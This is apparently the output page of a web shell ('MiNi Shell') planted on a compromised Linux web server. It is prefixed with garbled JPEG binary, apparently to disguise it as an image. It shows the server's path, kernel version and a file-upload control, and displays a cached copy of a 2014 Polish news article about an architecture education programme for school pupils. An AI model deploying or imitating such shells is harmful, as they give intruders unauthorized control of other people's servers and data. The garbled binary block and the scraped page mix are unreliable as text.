JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/72/

Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/runtime/cache/72/729b53156d3149dfc7b4da2f82c75f06.bin

a:2:{i:0;a:2:{i:0;s:25125:" 
                    
                    <h3 class="title" itemprop="headline">Młodzież coraz chętniej uczy się architektury</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 01-07-2014, 00:00</strong>
                        <meta itemprop="dateModified" content=" 01-07-2014, 00:00"/>
                        <div class="hide" itemprop="description">
	Zakończyła się pierwsza edycja organizowanego przez Izbę Architekt&oacute;w RP programu edukacyjnego &bdquo;Kształtowanie przestrzeni&rdquo;.&nbsp; Przez cały rok szkolny 2013/2014 blisko 1800 uczni&oacute;w z 65 szk&oacute;ł ponadpodstawowych z całej Polski uczyło się podstawowych pojęć z zakresu architektury i urbanistyki. &nbsp;</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="budowa.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.budowa.org/images/loga/budowa.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/28563/crop/800x600/97ddf7590e-808630001571970962.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.budowa.org/artykuly/szczegoly/28563"/>
                        
                                        </p>

                    <div class="lorem">
                        <p>
	<strong><img alt="FAKRO logo" src="https://common.v-manager.pl/uploads/source/articles/28563/0_upload_96dd8a8912.webp" style="width:200px;height:36px;float:left;" loading="lazy" />Zakończyła się pierwsza edycja organizowanego przez Izbę Architektów RP programu edukacyjnego „Kształtowanie przestrzeni”.  Przez cały rok szkolny 2013/2014 blisko 1800 uczniów z 65 szkół ponadpodstawowych z całej Polski uczyło się podstawowych pojęć z zakresu architektury i urbanistyki.  </strong></p><p>
	W planach na najbliższe lata jest również uruchomienie specjalnego programu edukacji architektonicznej dla uczniów ze szkół podstawowych oraz przygotowanie warsztatów architektoniczno-urbanistycznych dla dorosłych, przeprowadzanych podczas szczególnie ważnych imprez architektonicznych oraz w blokach tematycznych dla radnych samorządowych.</p><p>
	Pomysł na kształcenie młodzieży z zakresu architektury i urbanistyki narodził się w Izbie Architektów RP kilka lat temu. Miał być odpowiedzią na otaczającą nas bylejakość przestrzeni publicznej. „Edukację w zakresie architektury powinniśmy zacząć jak najwcześniej, dzięki czemu zwiększymy wrażliwość społeczeństwa na otaczającą nas przestrzeń publiczną i prywatną. Mam nadzieję, że dzięki takim zajęciom chęć dążenia do osiągnięcia ładu przestrzennego i tym samym poprawy jakości życia, stanie się jedną z podstawowych potrzeb przyszłych przedstawicieli społeczeństwa” – przekonuje Małgorzata Gruszka, przewodnicząca Zespołu d.s. Powszechnej Edukacji Architektonicznej, działającym przy Radzie Krajowej Izby Architektów RP.</p><p>
	Opracowany przez Izbę Architektów RP program edukacyjny nie jest podręcznikiem przeznaczonym dla uczniów. Stanowi zestaw gotowych scenariuszy lekcji przygotowanych dla nauczycieli, o dowolnej specjalizacji.  Został przygotowany w taki sposób, aby uczestniczące w nim szkoły nie ponosiły dodatkowych kosztów z tego tytułu, a sam program wypełnił treścią np. obowiązkowe zajęcia w ramach „Projektu” w szkołach gimnazjalnych i „Wiedzy o kulturze” w liceach. Od nauczycieli nie jest wymagana specjalistyczna wiedza w zakresie architektury lub urbanistyki. Muszą oni jedynie wziąć udział w tematycznych szkoleniach, przygotowujących do prowadzenia zajęć w trzech wybranych blokach tematycznych: Mój dom” dotyczy projektowania, aranżacji wnętrz oraz architektury budynku. Drugi moduł „Dzielnica, moduł, wieś, metropolia” traktuje o przestrzeni publicznej. Trzeci - "Historia architektury” umożliwi młodzieży bliższe poznanie stylów architektonicznych. Pomocą fachową służą nauczycielom architekci koordynatorzy, przydzieleni do konkretnych szkół przez Okręgowe Izby Architektów RP.</p><p>
	<strong>Pilotażowa edycja</strong></p><p>
	Program jest unikalny na skalę europejską. Poza Polską oraz Irlandią, gdzie został przyjęty przez tamtejsze ministerstwo edukacji do stosowania w szkołach średnich, w tzw. "roku przejściowym", żaden inny kraj w Europie nigdy nie realizował podobnego przedsięwzięcia. Stąd decyzja Izby Architektów RP, podjęta i przeprowadzona w roku 2013, o przeprowadzeniu pilotażowej akcji, w której wzięło udział ponad 400 uczniów z 13 szkół ponadpodstawowych. Zajęcia odbywały się w semestrze letnim pod kierunkiem 17 nauczycieli, w placówkach oświatowych zlokalizowanych na terenie 5 województw.</p><p>
	<strong>Coraz większy zasięg akcji</strong></p><p>
	Sukces akcji pilotażowej zachęcił Izbę Architektów RP do organizacji kolejnych edycji. Pierwsza z nich, wzbogacona o wnioski z pilotażu, odbyła się w roku szkolnym 2013/2014. W tym czasie do programu przystąpiło 65 szkół ponadpodstawowych z całego kraju, poza województwami: śląskim, świętokrzyskim, warmińsko-mazurskim i podlaskim. W zajęciach, prowadzonych pod kierunkiem 78 nauczycieli, odpowiednio przeszkolonych i certyfikowanych przez Izbę Architektów RP, mogących korzystać ze wsparcia architektów koordynatorów, wzięło udział blisko ok. 1800 uczniów.</p><p>
	„Uniwersalność programu sprawiła, że zgłaszali się do niego nauczyciele wszystkich specjalności, m.in. języka polskiego, historii, geografii, chemii, zajęć technicznych czy nawet informatyki. W porównaniu z akcją pilotażową zaobserwowaliśmy wzrost udziału nauczycieli o wykształceniu plastycznym, uczestniczących w projekcie” - informuje Małgorzata Gruszka.<br />
	I Edycji Programu, podobnie jak w akcji pilotażowej, towarzyszył konkurs z nagrodami, którego przedmiotem był krótki film na temat: „Nasza ulica i my”. Konkurs zorganizowano w dwóch kategoriach: dla uczniów szkół gimnazjalnych i ponadgimnazjalnych. Udział w konkursie był dobrowolny i nie był warunkiem zakończenia programu. W ramach konkursu napłynęły 32 prace: 18 w kategorii szkół gimnazjalnych i 14 w kategorii szkół ponadgimnazjalnych oraz jedna praca gimnazjalna poza konkursem. Nagroda główna, w kategorii szkół gimnazjalnych, trafiła do Zespołu uczniów z Gimnazjum nr 3 im. Stefana Batorego w Malborku, natomiast wyróżnienie otrzymał Zespół uczniów z Zespołu Szkół Ogólnokształcących nr 2, Gimnazjum nr 32 w Szczecinie. W kategorii szkół ponadgimnazjalnych nagroda główna przypadła zespołowi z Miejskiego Zespołu Szkół nr 5 w Krośnie, Technikum nr 6 im. Jana Sas Zubrzyckiego, z kolei wyróżnieniem uhonorowano zespół III Liceum Ogólnokształcącego im Unii Lubelskiej w Lublinie. Oprócz nagród regulaminowych jury konkursowe postanowiło również przyznać dwa wyróżnienia honorowe: uczniom Gimnazjum w Zespole Szkół Ogólnokształcących w Śremie oraz nauczycielowi, Panu Andrzejowi Fijasowi z Gimnazjum nr 3 im. Stefana Batorego w Malborku. Protokół z obrad jury dostępny jest do pobrania pod tym linkiem: <a href="http://www.izbaarchitektow.pl/pokaz.php?id=2273" rel="nofollow noopener" target="_blank">http://www.izbaarchitektow.pl/pokaz.php?id=2273</a>.</p><p>
	Honorowy patronat nad programem objęli Minister Edukacji Narodowej oraz Ministerstwo Kultury i Dziedzictwa Narodowego, natomiast głównym partnerem akcji jest firma FAKRO.<br />
	„Mamy świadomość tego, jak ważna jest edukacja młodzieży, która wkrótce wejdzie w dorosłe życie, dlatego od wielu lat współpracujemy ze szkołami i uczelniami budowlanymi. Z dużą satysfakcją staliśmy się partnerem programu edukacyjnego Kształtowanie Przestrzeni, przygotowanego przez IARP dla młodzieży szkół ponadpodstawowych i ponadgimnazjalnych. Liczymy, że dzięki niemu młode pokolenie będzie mieć większą wiedzę na temat zagospodarowania przestrzeni oraz będzie dbać o ład i porządek architektoniczny w swoim otoczeniu” – przekonuje  Małgorzata Respekta-Paszkiewicz z firmy FAKRO.</p><p>
	<strong>Plany na przyszłość</strong></p><p>
	Planowana jest już kolejna, II Edycja programu, która rozpocznie się wraz z nowym rokiem szkolnym 2014/2015. Izba zamierza zwiększyć rolę architektów koordynatorów w procesie kształcenia młodzieży, poprzez bezpośredni kontakt z nauczycielami i uczniami w aspekcie wykonywanych ćwiczeń praktycznych. Planowane jest również zwiększenie zasięgu całej akcji. „Liczymy, że uda nam się pozyskać do programu szkoły z czterech województw, które nie były reprezentowane w pierwszej edycji naszego projektu. Zakładamy, że ogólna liczba szkół uczestnicząca w akcji w najbliższym roku szkolnym wzrośnie o co najmniej 30-proc. Chcemy również dotrzeć z edukacją architektoniczną do młodszych odbiorców. Jesteśmy w trakcie opracowywania specjalnego programu dla uczniów szkół podstawowych, działającego na podobnych zasadach jak ten, skierowany do gimnazjów i liceów, a także myślimy o edukacji architektonicznej dorosłych obywateli” – dodaje Małgorzata Gruszka.</p><p>
	<strong>Podsumowanie I edycji programu „Kształtowanie przestrzeni”:</strong></p><ul>
	<li>
		Zasięg ogólnopolski (wszystkie województwa poza śląskim, świętokrzyskim, warmińsko-mazurskim i podlaskim);</li>
	<li>
		65 szkół ponadpodstawowych biorących udział w programie (34 szkoły gimnazjalne, 32 szkoły ponadgimnazjalne: 24 licea ogólnokształcące, 6 szkół technicznych budowlanych, 1 szkoła techniczna architektury krajobrazu, 1 Liceum Plastyczne;</li>
	<li>
		1800 uczniów, uczestniczących na zajęcia w ramach programu;</li>
	<li>
		78 nauczycieli, prowadzących zajęcia w ramach programu edukacyjnego;</li>
	<li>
		23 architektów koordynatorów, wspomagających nauczycieli;</li>
	<li>
		32 prace konkursowe nadesłane w ramach I edycji programu; </li>
</ul>
                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                    
                            FAKRO sp. z o.o.                                                        
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=podsumowanie" class="label label-default">podsumowanie</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=architektura" class="label label-default">architektura</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=program+edukacyjny" class="label label-default">program edukacyjny</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=FAKRO" class="label label-default">FAKRO</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Izba+Architektów+RP" class="label label-default">Izba Architektów RP</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Kształtowanie+przestrzeni" class="label label-default">Kształtowanie przestrzeni</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=urbanistyka" class="label label-default">urbanistyka</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.budowa.org/artykuly/szczegoly/28563_mlodziez-coraz-chetniej-uczy-sie-architektury" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                                                                    <p class="strong">Artykuł został dodany przez firmę</p>
                        <div class="media list">
                            <div class="media-left">
                                                                <a class="fill light-border-right" href="/firmy/dane-kontaktowe/1388_fakro-sp-z-oo">
                                    <div class="flex">
                                        <img loading="lazy" class="img-responsive inline" style="padding:0;width:100px;" src="https://common.v-manager.pl/uploads/images/companies/1111/frame/100x80/fakro_1272x198-933395001691653749.gif" alt="FAKRO sp. z o.o. - zdjęcie">
                                    </div>
                                </a>
                                                            </div>
                            <div class="media-body">
                                <a href="/firmy/dane-kontaktowe/1388_fakro-sp-z-oo">
                                    <h5 class="media-heading title">FAKRO sp. z o.o.</h5>
                                </a>                                
                                                                    <p class="text-justify nomargin">FAKRO to polski producent okien dachowych oraz lider światowego rynku schod&oacute;w strychowych. W ofercie FAKRO znajdują się m.in.: okna dachowe, rolety, markizy, schody strychowe, stolarka pionowa pod marką FAKRO INNOVIEW.</p>
                                                
                                                                    <p class="text-right"><a class="btn btn-default portal-button" href="/firmy/dane-kontaktowe/1388_fakro-sp-z-oo">Zapoznaj się z ofertą firmy</a></p>
                                                            </div>
                        </div>
                        <hr class="portal-hr">
                        <div class="clearfix"></div>
                    
                    <div id="articles">    
                        
                    
                                            <p class="strong">Inne publikacje firmy</p>  
                        
                        <div class="row">
                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/85719_cisza-na-poddaszu-jakie-okna-dachowe-wybrac-zeby-zyskac-komfort-akustyczny">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/85719/frame/80x60/fakro-okna-dachowe-apf-ftp-v-greenview-cisza-na-poddaszu-039170001759403892.webp" alt="Cisza na poddaszu. Jakie okna dachowe wybrać, żeby zyskać komfort akustyczny? - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/85719_cisza-na-poddaszu-jakie-okna-dachowe-wybrac-zeby-zyskac-komfort-akustyczny" class="media-body">
                                <h3 class="media-heading">Cisza na poddaszu. Jakie okna dachowe wybrać, żeby zyskać komfort akustyczny?</h3>
                                <p>Poddasze to wyjątkowa, klimatyczna przestrzeń – często wykorzystywana jako sypialnia, domowe biuro a...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/85649_schody-strychowe-greenstep-wygodne-wejscie-na-poddasze">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/85649/frame/80x60/fakro-schody-na-poddasze-greenstep-904207001759131670.webp" alt="Schody strychowe GREENSTEP – wygodne wejście na poddasze - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/85649_schody-strychowe-greenstep-wygodne-wejscie-na-poddasze" class="media-body">
                                <h3 class="media-heading">Schody strychowe GREENSTEP – wygodne wejście na poddasze</h3>
                                <p>Dostęp na poddasze wielu osobom wciąż kojarzy się z niewygodną drabiną lub masywnymi schodami, które...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/84726_jak-zatrzymac-cieplo-i-wpuscic-naturalne-swiatlo-do-wnetrz-przewodnik-po-oslonach-do-okien-dachowych">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/84726/frame/80x60/fakro-oslony-do-okien-dachowych-markiza-amz-komfort-electro-080335001750250481.webp" alt="Jak zatrzymać ciepło i wpuścić naturalne światło do wnętrz? Przewodnik po osłonach do okien dachowych - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/84726_jak-zatrzymac-cieplo-i-wpuscic-naturalne-swiatlo-do-wnetrz-przewodnik-po-oslonach-do-okien-dachowych" class="media-body">
                                <h3 class="media-heading">Jak zatrzymać ciepło i wpuścić naturalne światło do wnętrz? Przewodnik po osłonach do okien dachowych</h3>
                                <p>Okna dachowe to więcej naturalnego światła na poddaszu i spektakularny widok na zewnątrz, ale też wy...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/84558_jaka-oslone-wybrac-na-okno-dachowe-markiza-czy-roleta-praktyczne-porownanie">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/84558/frame/80x60/zdj2a-markiza-fakro-www-205219001748517351.webp" alt="Jaką osłonę wybrać na okno dachowe? Markiza czy roleta – praktyczne porównanie - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/84558_jaka-oslone-wybrac-na-okno-dachowe-markiza-czy-roleta-praktyczne-porownanie" class="media-body">
                                <h3 class="media-heading">Jaką osłonę wybrać na okno dachowe? Markiza czy roleta – praktyczne porównanie</h3>
                                <p>Latem poddasza wystawiają mieszkańców na ciężką próbę, bo okna dachowe, poza światłem, wpuszczają ró...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/84522_fakro-dolaczylo-do-klubu-partnerow-sgh">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/84522/frame/80x60/fakro-czonkiem-klubu-partnerw-sgh-7-942780001748338190.webp" alt="FAKRO dołączyło do Klubu Partnerów SGH  - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/84522_fakro-dolaczylo-do-klubu-partnerow-sgh" class="media-body">
                                <h3 class="media-heading">FAKRO dołączyło do Klubu Partnerów SGH </h3>
                                <p>FAKRO zostało oficjalnie członkiem Klubu Partnerów SGH – inicjatywy, która łączy wiodące firmy i ins...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/84299_okna-i-rolety-twoje-wnetrze-twoje-chwile">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/84299/frame/80x60/1_fakro-174645001746013076.webp" alt="Okna i rolety – Twoje wnętrze, Twoje chwile - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/84299_okna-i-rolety-twoje-wnetrze-twoje-chwile" class="media-body">
                                <h3 class="media-heading">Okna i rolety – Twoje wnętrze, Twoje chwile</h3>
                                <p>Nie pamiętamy dni, lecz wyjątkowe chwile. Nowe mieszkanie to nie tylko przestrzeń, ale także opowieś...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                </div>
                        
                                                <div class="clearfix"></div>
                        <hr class="portal-hr">
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:4:{i:0;s:13:"article_28563";i:1;s:8:"articles";i:2;s:21:"company_1111_articles";i:3;s:12:"company_1111";}s:4:"data";a:4:{s:32:"bcb128f295abf2a55bc04aae17d9a1e8";s:21:"0.07518900 1746609111";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";s:32:"a7490cceef1da2cff2c376159d09945a";s:21:"0.54205500 1759404325";s:32:"b8828d93d780bc568f063ddc219b6376";s:21:"0.31889000 1757674845";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com